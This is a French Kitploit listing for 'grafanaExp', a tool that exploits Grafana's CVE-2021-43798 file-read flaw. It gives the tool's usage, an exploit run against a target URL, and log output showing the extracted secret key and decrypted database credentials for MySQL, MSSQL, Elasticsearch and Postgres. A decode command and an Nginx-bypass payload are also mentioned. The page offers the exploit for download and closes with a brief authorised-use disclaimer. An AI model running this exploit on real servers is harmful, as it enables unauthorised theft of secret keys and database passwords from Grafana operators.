Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
grafanaExp — Un outil d'exploitation pour la vulnérabilité de lecture arbitraire de fichiers non autorisée dans Grafana (CVE-2021-43798), il peut automatiquement bruteforcer des plugins / extraire la clé secrète / déchiffrer les informations des sources de données. | Kitploit
Outils/GitHubGitHub/a-d-team/grafanaexp
Outils de Chiffrement/DéchiffrementAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'Intrusion
GitHuba-d-team/grafanaexp

grafanaExp

Un outil d'exploitation pour la vulnérabilité de lecture arbitraire de fichiers non autorisée dans Grafana (CVE-2021-43798), il peut automatiquement bruteforcer des plugins / extraire la clé secrète / déchiffrer les informations des sources de données.

Voir le dépôt
270323il y a 10 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

grafanaExp

Exploitation de la vulnérabilité de lecture de fichier arbitraire CVE-2021-43798 dans Grafana. Détection automatique des vulnérabilités, des plugins présents, extraction de la clé, décryptage du fichier DB côté serveur, et affichage des informations data_source.

Utilisation

Fonctions exp et decode fournies.

root@kitploit:~
➜  ./grafanaExp -h
NAME:
   grafanaExp - Exploit Grafana with CVE-2021-43798 Arbitrary File Read.

USAGE:
   grafanaExp [global options] command [command options] [arguments...]

AUTHOR:
   A&D-Team

COMMANDS:
   exp      -u [url] -p [plugin] -c [config] -d [db] -k [key]
   decode   decode -f [dbfile] -k [key]
   help, h  Shows a list of commands or help for one command

GLOBAL OPTIONS:
   --help, -h  show help (default: false)

Exp

Détection automatique des vulnérabilités, des plugins présents, extraction de la clé, décryptage du fichier DB côté serveur, et affichage des informations data_source :

root@kitploit:~
➜  ./grafanaExp exp -u http://localhost:3000/ 
2021/12/07 22:19:10 Target vulnerable has plugin [alertlist]
2021/12/07 22:19:10 Get secret_key [SW2YcwTIb9zpOOhoPsMm]
2021/12/07 22:19:10 type:[mysql]        name:[MySQL_01]         url:[test.mysql.io:3306]        user:[root]     password[rootpassword]  database:[test_dbname]  basic_auth_user:[]      basic_auth_password:[]
2021/12/07 22:19:10 type:[mssql]        name:[Mssql_01]         url:[test_sqlserver:1433]       user:[admin]    password[adminpassword] database:[db_sqlserver] basic_auth_user:[]      basic_auth_password:[]
2021/12/07 22:19:10 type:[elasticsearch]        name:[es_01]            url:[http://localhost:9200]     user:[] password[]      database:[]     basic_auth_user:[basic_user]    basic_auth_password:[basic_pass]
2021/12/07 22:19:10 type:[postgres]     name:[Postgre_01]               url:[Postgre_01:5432]   user:[pppp]     password[sssswwwww]     database:[postgredb]    basic_auth_user:[]      basic_auth_password:[]
2021/12/07 22:19:10 All Done, have nice day!

Decode

Lorsque le fichier DB est trop volumineux, téléchargez‑le d'abord localement, puis décodez‑le localement :

root@kitploit:~
➜ ./grafanaExp decode -f grafana.db -k SW2YcwTIb9zpOOhoPsMm
2021/12/07 23:00:20 type:[mysql]        name:[MySQL_01]         url:[test.mysql.io:3306]        user:[root]     password[rootpassword]  database:[test_dbname]  basic_auth_user:[]      basic_auth_password:[]
2021/12/07 23:00:20 type:[mssql]        name:[Mssql_01]         url:[test_sqlserver:1433]       user:[admin]    password[adminpassword] database:[db_sqlserver] basic_auth_user:[]      basic_auth_password:[]
2021/12/07 23:00:20 type:[elasticsearch]        name:[es_01]            url:[http://localhost:9200]     user:[] password[]      database:[]     basic_auth_user:[basic_user]    basic_auth_password:[basic_pass]
2021/12/07 23:00:20 type:[postgres]     name:[Postgre_01]               url:[Postgre_01:5432]   user:[pppp]     password[sssswwwww]     database:[postgredb]    basic_auth_user:[]      basic_auth_password:[]

Mises à jour

root@kitploit:~
1. Prise en charge de HTTPS (hier non inclus à cause de problèmes étranges avec transport)
2. Ajout du binaire pour Darwin
3. Ajout d'un payload pour contourner Nginx (modification brute de net/http)

Avertissement

Ce programme doit être utilisé uniquement à des fins de tests de sécurité et de recherche autorisées.

Télécharger l’outil